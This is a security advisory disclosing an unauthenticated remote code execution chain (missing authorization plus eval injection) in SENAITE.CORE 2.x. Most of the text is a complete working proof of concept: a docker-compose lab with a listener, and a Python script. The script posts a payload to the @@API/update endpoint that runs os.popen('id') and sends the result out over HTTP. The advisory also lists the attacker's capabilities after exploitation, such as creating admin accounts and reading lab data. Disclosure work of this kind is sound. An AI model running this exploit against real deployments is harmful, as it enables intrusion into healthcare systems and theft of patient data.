Advisory

PYSEC-2026-3919

Details, part 2 of 2. The advisory

Details

`docker-compose.yml`

services:
  senaite:
    image: senaite/senaite:v2.6.0
    ports:
      - "8080:8080"
    environment:
      PASSWORD: senaitestrong  # non-default; chain is credential-free
      SITE: senaite
    networks:
      - poc

  listener:
    image: python:3.11-alpine
    command:
      - python
      - -c
      - |
        import http.server, socketserver
        log = []
        class H(http.server.BaseHTTPRequestHandler):
            def do_GET(self):
                if self.path.startswith('/log'):
                    self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers()
                    self.wfile.write(('\n'.join(log)).encode())
                else:
                    log.append(self.path)
                    self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
            def log_message(self, *a, **k): pass
        socketserver.TCPServer.allow_reuse_address = True
        with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever()
    ports:
      - "8000:8000"
    networks:
      - poc

networks:
  poc:

`poc.py`

#!/usr/bin/env python3
"""PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0"""
import sys, time, urllib.error, urllib.parse, urllib.request

TARGET = "http://localhost:8080"
SITE = "senaite"
LISTENER_HOST = "http://localhost:8000"
LISTENER_INSIDE = "http://listener:8000"

PAYLOAD = (
    "__import__('urllib2').urlopen("
    f"'{LISTENER_INSIDE}/?id=' + "
    "__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')"
    ")"
)

def http_get(url, timeout=5):
    req = urllib.request.Request(url, headers={"Accept": "*/*"})
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def http_post(url, fields, timeout=10):
    body = urllib.parse.urlencode(fields).encode()
    req = urllib.request.Request(url, data=body, method="POST")
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def wait_for_target():
    deadline = time.time() + 600
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r:
                if r.status == 200: return
        except Exception: pass
        time.sleep(3)
    sys.exit(1)

def discover_bika_setup_uid():
    body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip()
    if len(body) == 32 and all(c in "0123456789abcdef" for c in body):
        return body
    sys.exit(1)

def fire_payload(uid):
    try:
        http_post(f"{TARGET}/{SITE}/@@API/update",
                  {"obj_uid": uid, "RejectionReasons": PAYLOAD})
    except urllib.error.HTTPError:
        pass

def read_listener():
    time.sleep(1)
    try:
        log = http_get(f"{LISTENER_HOST}/log", timeout=3)
    except Exception:
        return False
    return "id=" in log

if __name__ == "__main__":
    wait_for_target()
    uid = discover_bika_setup_uid()
    fire_payload(uid)
    sys.exit(0 if read_listener() else 1)

Run

docker compose up -d
# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning
python3 poc.py

Expected output

[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0
    captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_

The captured query string is the stdout of id from the SENAITE Zope worker, fetched by the worker's urllib2.urlopen call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.

Impact

Vulnerability type: Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).

Who is impacted: Every SENAITE deployment whose Plone Site root grants View to Anonymous (the upstream default) and whose /@@API/... endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships 8080:8080 plain HTTP and /manage (ZMI) exposed.

Attacker capability after exploit:

  • Arbitrary Python execution in the Zope worker process.
  • Full read/write access to the ZODB (Data.fs and blobstorage), so any patient/lab data the LIMS holds.
  • Filesystem access on the container's /data volume.
  • Outbound network egress from the worker.
  • Direct access to acl_users (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed /manage ZMI, this gives durable post-exploitation access.

Affected versions: All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).

Credits

Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.

  • Dr. Simon Weber
  • Dipl.-Inf. Volker Schönefeld
  • Chiara Fliegner

Website: https://machinespirits.com

Sources & licences